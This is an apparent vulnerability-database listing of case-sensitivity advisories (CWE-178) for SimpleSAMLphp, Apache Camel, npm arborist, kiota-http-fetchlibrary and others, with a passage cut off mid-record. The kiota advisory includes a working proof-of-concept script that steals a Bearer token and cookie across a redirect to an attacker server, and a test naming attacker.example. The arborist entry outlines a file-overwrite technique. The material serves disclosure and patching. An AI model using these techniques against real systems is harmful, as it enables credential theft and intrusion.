CWE-178
AllowedImproper Handling of Case Sensitivity
Abstraction: Base · Status: Incomplete
The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.
163 vulnerabilities reference this CWE, most recent first.
CVE-2021-24347 (GCVE-0-2021-24347)
Vulnerability from cvelistv5 – Published: 2021-06-14 13:37 – Updated: 2024-08-03 19:28- CWE-178 - Improper Handling of Case Sensitivity
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/8f6e82d5-c0e9-46… | x_refsource_CONFIRM |
| http://packetstormsecurity.com/files/163434/WordP… | x_refsource_MISC |
| http://packetstormsecurity.com/files/163675/WordP… | x_refsource_MISC |
| Vendor | Product | Version | |
|---|---|---|---|
| Unknown | SP Project & Document Manager |
Affected:
4.22 , < 4.22
(custom)
|
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GHSA-24M3-W8G9-JWPQ
Vulnerability from github – Published: 2020-04-22 20:59 – Updated: 2024-02-06 13:27Background
The module controller in SimpleSAML\Module that processes requests for pages
hosted by modules, has code to identify paths ending with .php and process
those as PHP code. If no other suitable way of handling the given path exists it
presents the file to the browser.
Description
The check to identify paths ending with .php does not account for uppercase
letters. If someone requests a path ending with e.g. .PHP and the server is
serving the code from a case-insensitive file system, such as on Windows, the
processing of the PHP code does not occur, and the source code is instead
presented to the browser.
Affected versions
SimpleSAMLphp versions 1.18.5 and older.
Impact
An attacker may use this issue to gain access to the source code in third-party modules that is meant to be private, or even sensitive. However, the attack surface is considered small, as the attack will only work when SimpleSAMLphp serves such content from a file system that is not case-sensitive, such as on Windows.
Resolution
Upgrade the SimpleSAMLphp installation to version 1.18.6.
Credit
This vulnerability was discovered and reported by Sławek Naczyński.
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"id": "GHSA-24m3-w8g9-jwpq",
"modified": "2024-02-06T13:27:42Z",
"published": "2020-04-22T20:59:44Z",
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GHSA-257M-4VPX-XG86
Vulnerability from github – Published: 2026-07-23 18:31 – Updated: 2026-07-27 18:31Logto performs principal lookup without normalizing email and identifier strings, enabling principal collision and unauthorized account access via case- or Unicode-different identities.
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"modified": "2026-07-27T18:31:42Z",
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GHSA-2C2H-2855-MF97
Vulnerability from github – Published: 2025-03-09 15:31 – Updated: 2025-03-25 18:38Bypass/Injection vulnerability in Apache Camel components under particular conditions.
This issue affects Apache Camel: from 4.9.0 through <= 4.10.1, from 4.8.0 through <= 4.8.4, from 3.10.0 through <= 3.22.3.
Users are recommended to upgrade to version 4.10.2 for 4.10.x LTS, 4.8.5 for 4.8.x LTS and 3.22.4 for 3.x releases.
This vulnerability is present in Camel's default incoming header filter, that allows an attacker to include Camel specific headers that for some Camel components can alter the behaviours such as the camel-bean component, to call another method on the bean, than was coded in the application. In the camel-jms component, then a malicious header can be used to send the message to another queue (on the same broker) than was coded in the application. This could also be seen by using the camel-exec component.
The attacker would need to inject custom headers, such as HTTP protocols. So if you have Camel applications that are directly connected to the internet via HTTP, then an attacker could include malicious HTTP headers in the HTTP requests that are send to the Camel application.
All the known Camel HTTP component such as camel-servlet, camel-jetty, camel-undertow, camel-platform-http, and camel-netty-http would be vulnerable out of the box.
In these conditions an attacker could be able to forge a Camel header name and make the bean component invoking other methods in the same bean.
In terms of usage of the default header filter strategy the list of components using that is:
- camel-activemq
- camel-activemq6
- camel-amqp
- camel-aws2-sqs
- camel-azure-servicebus
- camel-cxf-rest
- camel-cxf-soap
- camel-http
- camel-jetty
- camel-jms
- camel-kafka
- camel-knative
- camel-mail
- camel-nats
- camel-netty-http
- camel-platform-http
- camel-rest
- camel-sjms
- camel-spring-rabbitmq
- camel-stomp
- camel-tahu
- camel-undertow
- camel-xmpp
The vulnerability arises due to a bug in the default filtering mechanism that only blocks headers starting with "Camel", "camel", or "org.apache.camel.".
Mitigation: You can easily work around this in your Camel applications by removing the headers in your Camel routes. There are many ways of doing this, also globally or per route. This means you could use the removeHeaders EIP, to filter out anything like "cAmel, cAMEL" etc, or in general everything not starting with "Camel", "camel" or "org.apache.camel.".
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"details": "Bypass/Injection vulnerability in Apache Camel components under particular conditions.\n\nThis issue affects Apache Camel: from 4.9.0 through \u003c= 4.10.1, from 4.8.0 through \u003c= 4.8.4, from 3.10.0 through \u003c= 3.22.3.\n\nUsers are recommended to upgrade to version 4.10.2 for 4.10.x LTS, 4.8.5 for 4.8.x LTS and 3.22.4 for 3.x releases.\n\nThis vulnerability is present in Camel\u0027s default incoming header filter, that allows an attacker to include Camel specific headers that for some Camel components can alter the behaviours such as the camel-bean component, to call another method on the bean, than was coded in the application. In the `camel-jms` component, then a malicious header can be used to send the message to another queue (on the same broker) than was coded in the application. This could also be seen by using the camel-exec component.\n\nThe attacker would need to inject custom headers, such as HTTP protocols. So if you have Camel applications that are directly connected to the internet via HTTP, then an attacker could include malicious HTTP headers in the HTTP requests that are send to the Camel application.\n\nAll the known Camel HTTP component such as `camel-servlet`, `camel-jetty`, `camel-undertow`, `camel-platform-http`, and `camel-netty-http` would be vulnerable out of the box.\n\nIn these conditions an attacker could be able to forge a Camel header name and make the bean component invoking other methods in the same bean.\n\nIn terms of usage of the default header filter strategy the list of components using that is: \n\n * camel-activemq\n * camel-activemq6\n * camel-amqp\n * camel-aws2-sqs\n * camel-azure-servicebus\n * camel-cxf-rest\n * camel-cxf-soap\n * camel-http\n * camel-jetty\n * camel-jms\n * camel-kafka\n * camel-knative\n * camel-mail\n * camel-nats\n * camel-netty-http\n * camel-platform-http\n * camel-rest\n * camel-sjms\n * camel-spring-rabbitmq\n * camel-stomp\n * camel-tahu\n * camel-undertow\n * camel-xmpp\n\nThe vulnerability arises due to a bug in the default filtering mechanism that only blocks headers starting with \"Camel\", \"camel\", or \"org.apache.camel.\". \n\nMitigation: You can easily work around this in your Camel applications by removing the headers in your Camel routes. There are many ways of doing this, also globally or per route. This means you could use the removeHeaders EIP, to filter out anything like \"cAmel, cAMEL\" etc, or in general everything not starting with \"Camel\", \"camel\" or \"org.apache.camel.\".",
"id": "GHSA-2c2h-2855-mf97",
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"published": "2025-03-09T15:31:19Z",
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GHSA-2GR8-3WC7-XHJ3
Vulnerability from github – Published: 2024-04-24 18:47 – Updated: 2024-08-28 20:09Impact
Due to default case-insensitive collation in MySQL or MariaDB databases, third-party authentication user IDs are not case-sensitive and could cause different IDs to match.
Patches
This issue has been addressed by https://github.com/python-social-auth/social-app-django/pull/566 and fix released in 5.4.1.
Workarounds
An immediate workaround would be to change collation of the affected field:
ALTER TABLE `social_auth_usersocialauth` MODIFY `uid` varchar(255) COLLATE `utf8_bin`;
References
This issue was discovered by folks at https://opencraft.com/.
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"severity": "MODERATE"
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"id": "GHSA-2gr8-3wc7-xhj3",
"modified": "2024-08-28T20:09:46Z",
"published": "2024-04-24T18:47:21Z",
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GHSA-2H3H-Q99F-3FHC
Vulnerability from github – Published: 2021-08-31 16:04 – Updated: 2022-08-15 20:08Impact
Arbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution
@npmcli/arborist, the library that calculates dependency trees and manages the node_modules folder hierarchy for the npm command line interface, aims to guarantee that package dependency contracts will be met, and the extraction of package contents will always be performed into the expected folder.
This is, in part, accomplished by resolving dependency specifiers defined in package.json manifests for dependencies with a specific name, and nesting folders to resolve conflicting dependencies.
When multiple dependencies differ only in the case of their name, Arborist's internal data structure saw them as separate items that could coexist within the same level in the node_modules hierarchy. However, on case-insensitive file systems (such as macOS and Windows), this is not the case. Combined with a symlink dependency such as file:/some/path, this allowed an attacker to create a situation in which arbitrary contents could be written to any location on the filesystem.
For example, a package pwn-a could define a dependency in their package.json file such as "foo": "file:/some/path". Another package, pwn-b could define a dependency such as FOO: "file:foo.tgz". On case-insensitive file systems, if pwn-a was installed, and then pwn-b was installed afterwards, the contents of foo.tgz would be written to /some/path, and any existing contents of /some/path would be removed.
Anyone using npm v7.20.6 or earlier on a case-insensitive filesystem is potentially affected.
Patches
2.8.2 (included in npm v7.20.7 and above)
Fix and Caveats
There are two parts to the fix:
- Immediately prior to extraction, if the target folder is not a directory, it is moved aside. (If the installation fails, filesystem entries moved aside in this manner are moved back as part of the rollback process.)
- The
childrenmap that represents child nodes in the tree is replaced with a case-insensitive map object, such thatnode.children.get('foo')andnode.children.get('FOO')will return the same object, enabling Arborist to detect and handle this class of tree collision.
This second item imposes a caveat on case sensitive filesystems where two packages with names which differ only in case may already exist at the same level in the tree, causing unpredictable behavior in this rare edge case. Note that in such cases, the package-lock.json already creates a situation which is hazardous to use on case-sensitive filesystems, and will likely lead to other problems.
If affected by this caveat, please run npm update to rebuild your tree and generate a new package-lock.json file.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@npmcli/arborist"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.8.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-39134"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-59",
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2021-08-31T16:02:46Z",
"nvd_published_at": "2021-08-31T17:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\nArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution\n\n`@npmcli/arborist`, the library that calculates dependency trees and manages the `node_modules` folder hierarchy for the npm command line interface, aims to guarantee that package dependency contracts will be met, and the extraction of package contents will always be performed into the expected folder.\n\nThis is, in part, accomplished by resolving dependency specifiers defined in `package.json` manifests for dependencies with a specific name, and nesting folders to resolve conflicting dependencies.\n\nWhen multiple dependencies differ only in the case of their name, Arborist\u0027s internal data structure saw them as separate items that could coexist within the same level in the `node_modules` hierarchy. However, on case-insensitive file systems (such as macOS and Windows), this is not the case. Combined with a symlink dependency such as `file:/some/path`, this allowed an attacker to create a situation in which arbitrary contents could be written to any location on the filesystem.\n\nFor example, a package `pwn-a` could define a dependency in their `package.json` file such as `\"foo\": \"file:/some/path\"`. Another package, `pwn-b` could define a dependency such as `FOO: \"file:foo.tgz\"`. On case-insensitive file systems, if `pwn-a` was installed, and then `pwn-b` was installed afterwards, the contents of `foo.tgz` would be written to `/some/path`, and any existing contents of `/some/path` would be removed.\n\nAnyone using npm v7.20.6 or earlier on a case-insensitive filesystem is potentially affected.\n\n### Patches\n\n2.8.2 (included in npm v7.20.7 and above)\n\n### Fix and Caveats\n\nThere are two parts to the fix:\n\n1. Immediately prior to extraction, if the target folder is not a directory, it is moved aside. (If the installation fails, filesystem entries moved aside in this manner are moved back as part of the rollback process.)\n2. The `children` map that represents child nodes in the tree is replaced with a case-insensitive map object, such that `node.children.get(\u0027foo\u0027)` and `node.children.get(\u0027FOO\u0027)` will return the same object, enabling Arborist to detect and handle this class of tree collision.\n\nThis second item imposes a caveat on case _sensitive_ filesystems where two packages with names which differ only in case may already exist at the same level in the tree, causing unpredictable behavior in this rare edge case. Note that in such cases, the `package-lock.json` already creates a situation which is hazardous to use on case-sensitive filesystems, and will likely lead to other problems.\n\nIf affected by this caveat, please run `npm update` to rebuild your tree and generate a new `package-lock.json` file.",
"id": "GHSA-2h3h-q99f-3fhc",
"modified": "2022-08-15T20:08:31Z",
"published": "2021-08-31T16:04:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/npm/arborist/security/advisories/GHSA-2h3h-q99f-3fhc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39134"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf"
},
{
"type": "PACKAGE",
"url": "https://github.com/npm/arborist"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/@npmcli/arborist"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "@npmcli/arborist vulnerable to UNIX Symbolic Link (Symlink) Following"
}
GHSA-2J2F-H2GF-6R4C
Vulnerability from github – Published: 2022-04-29 03:01 – Updated: 2024-02-08 03:32Mbedthis AppWeb HTTP server before 1.1.3 allows remote attackers to bypass access restrictions via a URI with mixed case characters.
{
"affected": [],
"aliases": [
"CVE-2004-2214"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2004-12-31T05:00:00Z",
"severity": "HIGH"
},
"details": "Mbedthis AppWeb HTTP server before 1.1.3 allows remote attackers to bypass access restrictions via a URI with mixed case characters.",
"id": "GHSA-2j2f-h2gf-6r4c",
"modified": "2024-02-08T03:32:44Z",
"published": "2022-04-29T03:01:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2004-2214"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/16638"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/12011"
},
{
"type": "WEB",
"url": "http://www.mbedthis.com/products/appWeb/doc/product/newFeatures.html"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/7391"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/10673"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2RF7-87HX-XW66
Vulnerability from github – Published: 2022-05-13 01:47 – Updated: 2022-05-13 01:47Microsoft Windows 8.1 and Windows RT 8.1, Windows Server 2012 R2, Windows 10 Gold, 1511, 1607, and 1703, and Windows Server 2016 allow an attacker to set variables that are either read-only or require authentication when Windows fails to enforce case sensitivity for certain variable checks, aka "Windows Security Feature Bypass Vulnerability".
{
"affected": [],
"aliases": [
"CVE-2017-8493"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-15T01:29:00Z",
"severity": "MODERATE"
},
"details": "Microsoft Windows 8.1 and Windows RT 8.1, Windows Server 2012 R2, Windows 10 Gold, 1511, 1607, and 1703, and Windows Server 2016 allow an attacker to set variables that are either read-only or require authentication when Windows fails to enforce case sensitivity for certain variable checks, aka \"Windows Security Feature Bypass Vulnerability\".",
"id": "GHSA-2rf7-87hx-xw66",
"modified": "2022-05-13T01:47:34Z",
"published": "2022-05-13T01:47:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8493"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8493"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/98850"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1038671"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-35MW-8R7P-2P48
Vulnerability from github – Published: 2026-08-25 21:31 – Updated: 2026-08-28 21:30Improper handling of case sensitivity in FileSystem in Google Chrome prior to 152.0.7977.65 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-78959"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-25T21:17:51Z",
"severity": "MODERATE"
},
"details": "Improper handling of case sensitivity in FileSystem in Google Chrome prior to 152.0.7977.65 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-35mw-8r7p-2p48",
"modified": "2026-08-28T21:30:56Z",
"published": "2026-08-25T21:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78959"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/08/stable-channel-update-for-desktop_0256176589.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/518084889"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-396Q-4VC8-28X9
Vulnerability from github – Published: 2026-06-26 22:23 – Updated: 2026-06-26 22:23Summary
@microsoft/kiota-http-fetchlibrary's RedirectHandler is documented as stripping Authorization and Cookie from cross-origin redirect targets, but the default scrubSensitiveHeaders callback in RedirectHandlerOptions uses case-sensitive property deletion (delete headers.Authorization, delete headers.Cookie) on a headers object that FetchRequestAdapter.getRequestFromRequestInformation has already lower-cased. The delete therefore targets keys that do not exist, the scrub is a no-op, and any Bearer token or Cookie attached by a kiota-generated SDK is forwarded to an attacker-controlled host across a 30x redirect.
This is reachable in the default middleware chain (MiddlewareFactory.getDefaultMiddlewares) with no custom configuration, and applies to every kiota-generated TypeScript SDK that uses BaseBearerTokenAuthenticationProvider or any other authentication provider that sets the Authorization request header.
Affected versions
@microsoft/kiota-http-fetchlibrary >= 1.0.0-preview.97 (the release that introduced the defaultScrubSensitiveHeaders callback, commit 74886cc4, tagged 2026-02-27) up to and including 1.0.0-preview.101 (latest at filing). The bug was verified end-to-end against the version published on npm: 1.0.0-preview.100.
The case-mismatch primitive (lowercasing in the request adapter) predates the scrub itself — FetchRequestAdapter.getRequestFromRequestInformation has lower-cased header keys via toLocaleLowerCase() since commit d612bac2 (2022-12-09). When the scrub was added in 2026-02 it inherited the mismatch.
Impact
- Bearer token leak across origin. When a kiota-generated SDK calls a server that the SDK trusts (Microsoft Graph, an internal API, any OAuth2 resource server) and that server returns an HTTP redirect to a different host, the
Authorization: Bearer <token>header issued by the auth provider is sent in cleartext to the redirect target. The redirect target can be controlled by: - An attacker who can corrupt or MITM a single 30x response from the legitimate host (downgrade-on-redirect amplifier).
- An attacker who has temporarily compromised a low-trust endpoint of the upstream API and can issue 302 responses (e.g. a public profile-image URL on Graph that returns 302 to attacker-controlled storage).
- An attacker who can persuade the kiota-using application to call an attacker-chosen base URL that returns 302 to the attacker (a confused-deputy SSRF-style abuse where the application proxies a user-supplied URL through a kiota-built client).
- Session cookie leak across origin. If the application or generated SDK attaches a
Cookieheader, the same primitive forwards it to the redirect target. - No user interaction required. The default middleware chain is in effect; the application does not need to opt in to the bug.
Vulnerable code
The two pieces that combine into the bug.
1. Headers are lower-cased on the way out of the request adapter.
packages/http/fetch/src/fetchRequestAdapter.ts:529-532:
const headers: Record<string, string> | undefined = {};
requestInfo.headers?.forEach((_, key) => {
headers[key.toString().toLocaleLowerCase()] = this.foldHeaderValue(requestInfo.headers.tryGetValue(key));
});
The headers object that flows into the middleware pipeline as fetchRequestInit.headers has every key lower-cased. So Authorization becomes authorization, Cookie becomes cookie.
2. The default redirect scrub deletes case-sensitive property names.
packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts:67-82:
private static readonly defaultScrubSensitiveHeaders: ScrubSensitiveHeaders = (headers: Record<string, string>, originalUrl: string, newUrl: string) => {
if (!headers || !originalUrl || !newUrl) {
return;
}
try {
const originalUri = new URL(originalUrl);
const newUri = new URL(newUrl);
const isDifferentHostOrScheme = originalUri.host.toLowerCase() !== newUri.host.toLowerCase() || originalUri.protocol.toLowerCase() !== newUri.protocol.toLowerCase();
if (isDifferentHostOrScheme) {
delete headers.Authorization;
delete headers.Cookie;
}
} catch {
return;
}
};
delete headers.Authorization is sugar for delete headers["Authorization"]. JavaScript object property names are case-sensitive. The headers object's actual key is "authorization" (lower-case). The delete removes nothing.
3. The redirect handler invokes the scrub on the lower-cased object.
packages/http/fetch/src/middlewares/redirectHandler.ts:133-136:
if (fetchRequestInit.headers) {
currentOptions.scrubSensitiveHeaders(fetchRequestInit.headers as Record<string, string>, url, newUrl);
}
The redirect handler then issues a new fetch with the unchanged fetchRequestInit.headers (still containing authorization) to newUrl (the attacker-controlled host).
How the Bearer token reaches the attacker host
- Application calls a kiota-generated SDK method.
FetchRequestAdapter.sendcallsauthenticationProvider.authenticateRequest(requestInfo).BaseBearerTokenAuthenticationProvideraddsAuthorization: Bearer <token>torequestInfo.headers(packages/abstractions/src/authentication/baseBearerTokenAuthenticationProvider.ts:34).FetchRequestAdapter.getRequestFromRequestInformationbuilds theRequestInitobject, lower-casing every header key. The outputheadersmap contains key"authorization".- The default middleware chain runs
RetryHandlerthenRedirectHandler.RedirectHandler.executesetsredirect = "manual"so the underlyingfetchdoes not auto-follow. - The upstream HTTP request goes out to the victim host carrying
authorization: Bearer <token>. - The victim host responds with
302 Location: https://attacker.example/loot. RedirectHandler.executeWithRedirectsees the 302, parses the Location, computesnewUrl, and callscurrentOptions.scrubSensitiveHeaders(headers, url, newUrl).defaultScrubSensitiveHeaderscorrectly observesoriginalUri.host !== newUri.host, enters theif (isDifferentHostOrScheme)branch, and runsdelete headers.Authorization. The headers object's key isauthorization. The delete is a no-op.executeWithRedirectrecurses withurl = newUrland the unchangedheaders. A secondfetchgoes out to the attacker host carryingauthorization: Bearer <token>andcookie: <session>.
Proof of concept
End-to-end PoC against @microsoft/kiota-http-fetchlibrary@1.0.0-preview.100 and @microsoft/kiota-abstractions@1.0.0-preview.99 installed from npm with npm install. Two local HTTP listeners simulate the victim host (port 7771) and the attacker host (port 7772). The attacker listener captures the full set of request headers it observes.
package.json:
{
"name": "kiota-bearer-leak-poc",
"version": "0.0.1",
"private": true,
"type": "module",
"dependencies": {
"@microsoft/kiota-abstractions": "^1.0.0-preview.99",
"@microsoft/kiota-http-fetchlibrary": "^1.0.0-preview.99"
}
}
poc.mjs:
import http from "node:http";
import {
BaseBearerTokenAuthenticationProvider,
RequestInformation,
HttpMethod,
} from "@microsoft/kiota-abstractions";
import {
FetchRequestAdapter,
KiotaClientFactory,
} from "@microsoft/kiota-http-fetchlibrary";
const TOKEN = "SECRET_TOKEN_AAAA-BBBB-CCCC-DDDD";
const COOKIE = "session=SECRET_COOKIE_EEEE-FFFF";
const attackerCapture = [];
const attackerServer = http.createServer((req, res) => {
attackerCapture.push({ url: req.url, headers: req.headers });
res.writeHead(200, { "Content-Type": "application/json" });
res.end(JSON.stringify({ pwned: true }));
});
await new Promise((r) => attackerServer.listen(7772, "127.0.0.1", r));
const victimServer = http.createServer((req, res) => {
res.writeHead(302, { Location: "http://127.0.0.1:7772/api/data" });
res.end();
});
await new Promise((r) => victimServer.listen(7771, "127.0.0.1", r));
class StaticTokenProvider {
getAuthorizationToken() { return Promise.resolve(TOKEN); }
getAllowedHostsValidator() { return { getAllowedHosts: () => [] }; }
}
const authProvider = new BaseBearerTokenAuthenticationProvider(new StaticTokenProvider());
const adapter = new FetchRequestAdapter(authProvider, undefined, undefined, KiotaClientFactory.create());
adapter.baseUrl = "http://127.0.0.1:7771";
const requestInfo = new RequestInformation();
requestInfo.urlTemplate = "{+baseurl}/me";
requestInfo.pathParameters["baseurl"] = "http://127.0.0.1:7771";
requestInfo.httpMethod = HttpMethod.GET;
requestInfo.headers.add("Cookie", COOKIE);
try { await adapter.sendNoResponseContent(requestInfo, undefined); } catch (e) {}
console.log("attacker received:", JSON.stringify(attackerCapture[0]?.headers, null, 2));
attackerServer.close();
victimServer.close();
End-to-end reproduction against @microsoft/kiota-http-fetchlibrary@1.0.0-preview.100
Setup:
mkdir kiota-leak && cd kiota-leak
cat > package.json <<'EOF'
{
"name": "kiota-bearer-leak-poc",
"version": "0.0.1",
"private": true,
"type": "module",
"dependencies": {
"@microsoft/kiota-abstractions": "^1.0.0-preview.99",
"@microsoft/kiota-http-fetchlibrary": "^1.0.0-preview.99"
}
}
EOF
# Save the poc.mjs above into the same directory
npm install
node --version # tested on Node v26.0.0
node poc.mjs
Captured transcript (verbatim from a clean run on Node v26):
attacker received: {
"host": "127.0.0.1:7772",
"connection": "keep-alive",
"cookie": "session=SECRET_COOKIE_EEEE-FFFF",
"authorization": "Bearer SECRET_TOKEN_AAAA-BBBB-CCCC-DDDD",
"user-agent": "kiota-typescript/1.0.0-preview.24",
"accept": "*/*",
"accept-language": "*",
"sec-fetch-mode": "cors",
"accept-encoding": "gzip, deflate"
}
The attacker-controlled host on 127.0.0.1:7772 (a different origin from 127.0.0.1:7771) observes both the OAuth2 Bearer token and the session cookie. The default RedirectHandler.scrubSensitiveHeaders did execute its delete branch (verified by inserting a console.log inside the scrub) but the deletes targeted property names that did not exist, leaving the lower-cased headers intact.
Suggested fix
Two-line change to defaultScrubSensitiveHeaders to drop sensitive headers regardless of key case, with Proxy-Authorization covered for the Node-with-agent case.
--- a/packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts
+++ b/packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts
@@ -73,12 +73,21 @@ export class RedirectHandlerOptions implements RequestOption {
try {
const originalUri = new URL(originalUrl);
const newUri = new URL(newUrl);
- // Remove Authorization and Cookie headers if the request's scheme or host changes
+ // Remove Authorization, Cookie, and Proxy-Authorization headers if the request's scheme or host changes.
+ // Header keys must be matched case-insensitively because the request adapter lower-cases
+ // header keys before they reach this middleware (see FetchRequestAdapter.getRequestFromRequestInformation).
const isDifferentHostOrScheme = originalUri.host.toLowerCase() !== newUri.host.toLowerCase() || originalUri.protocol.toLowerCase() !== newUri.protocol.toLowerCase();
if (isDifferentHostOrScheme) {
- delete headers.Authorization;
- delete headers.Cookie;
+ for (const key of Object.keys(headers)) {
+ const lower = key.toLowerCase();
+ if (lower === "authorization" || lower === "cookie" || lower === "proxy-authorization") {
+ delete headers[key];
+ }
+ }
}
} catch {
// If URL parsing fails, don't modify headers
Tests should be extended in packages/http/fetch/test/node/RedirectHandler.ts to cover the realistic case where headers arrive lower-cased — the existing tests use PascalCase Authorization: ... fixtures that match the buggy delete by coincidence and therefore pass even with the no-op scrub. Add at minimum:
it("Should drop authorization and cookie regardless of key case", async () => {
const fetchRequestInit = {
method: "GET",
headers: { authorization: "Bearer TEST", cookie: "session=SECRET" },
};
const options = new RedirectHandlerOptions();
options.scrubSensitiveHeaders(
fetchRequestInit.headers,
"https://graph.microsoft.com/v1.0/me",
"https://attacker.example/loot",
);
assert.isUndefined(fetchRequestInit.headers.authorization);
assert.isUndefined(fetchRequestInit.headers.cookie);
});
Fix commit
https://github.com/microsoft/kiota-typescript/commit/09f8bd9b34d68bf412a9b78f6ca7e7961ef14974
Credit
Reported by tonghuaroot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.0-preview.101"
},
"package": {
"ecosystem": "npm",
"name": "@microsoft/kiota-http-fetchlibrary"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0-preview.97"
},
{
"fixed": "1.0.0-preview.102"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49336"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T22:23:11Z",
"nvd_published_at": "2026-06-19T19:16:36Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n`@microsoft/kiota-http-fetchlibrary`\u0027s `RedirectHandler` is documented as stripping `Authorization` and `Cookie` from cross-origin redirect targets, but the default `scrubSensitiveHeaders` callback in `RedirectHandlerOptions` uses case-sensitive property deletion (`delete headers.Authorization`, `delete headers.Cookie`) on a headers object that `FetchRequestAdapter.getRequestFromRequestInformation` has already lower-cased. The delete therefore targets keys that do not exist, the scrub is a no-op, and any Bearer token or Cookie attached by a kiota-generated SDK is forwarded to an attacker-controlled host across a 30x redirect.\n\nThis is reachable in the default middleware chain (`MiddlewareFactory.getDefaultMiddlewares`) with no custom configuration, and applies to every kiota-generated TypeScript SDK that uses `BaseBearerTokenAuthenticationProvider` or any other authentication provider that sets the `Authorization` request header.\n\n### Affected versions\n\n`@microsoft/kiota-http-fetchlibrary` `\u003e= 1.0.0-preview.97` (the release that introduced the `defaultScrubSensitiveHeaders` callback, commit `74886cc4`, tagged 2026-02-27) up to and including `1.0.0-preview.101` (latest at filing). The bug was verified end-to-end against the version published on npm: `1.0.0-preview.100`.\n\nThe case-mismatch primitive (lowercasing in the request adapter) predates the scrub itself \u2014 `FetchRequestAdapter.getRequestFromRequestInformation` has lower-cased header keys via `toLocaleLowerCase()` since commit `d612bac2` (2022-12-09). When the scrub was added in 2026-02 it inherited the mismatch.\n\n### Impact\n\n- **Bearer token leak across origin.** When a kiota-generated SDK calls a server that the SDK trusts (Microsoft Graph, an internal API, any OAuth2 resource server) and that server returns an HTTP redirect to a different host, the `Authorization: Bearer \u003ctoken\u003e` header issued by the auth provider is sent in cleartext to the redirect target. The redirect target can be controlled by:\n - An attacker who can corrupt or MITM a single 30x response from the legitimate host (downgrade-on-redirect amplifier).\n - An attacker who has temporarily compromised a low-trust endpoint of the upstream API and can issue 302 responses (e.g. a public profile-image URL on Graph that returns 302 to attacker-controlled storage).\n - An attacker who can persuade the kiota-using application to call an attacker-chosen base URL that returns 302 to the attacker (a confused-deputy SSRF-style abuse where the application proxies a user-supplied URL through a kiota-built client).\n- **Session cookie leak across origin.** If the application or generated SDK attaches a `Cookie` header, the same primitive forwards it to the redirect target.\n- **No user interaction required.** The default middleware chain is in effect; the application does not need to opt in to the bug.\n\n### Vulnerable code\n\nThe two pieces that combine into the bug.\n\n**1. Headers are lower-cased on the way out of the request adapter.**\n\n[`packages/http/fetch/src/fetchRequestAdapter.ts:529-532`](https://github.com/microsoft/kiota-typescript/blob/f765544d6ab861222c1fa6fa0a2d3b715786d725/packages/http/fetch/src/fetchRequestAdapter.ts#L529-L532):\n\n```ts\nconst headers: Record\u003cstring, string\u003e | undefined = {};\nrequestInfo.headers?.forEach((_, key) =\u003e {\n headers[key.toString().toLocaleLowerCase()] = 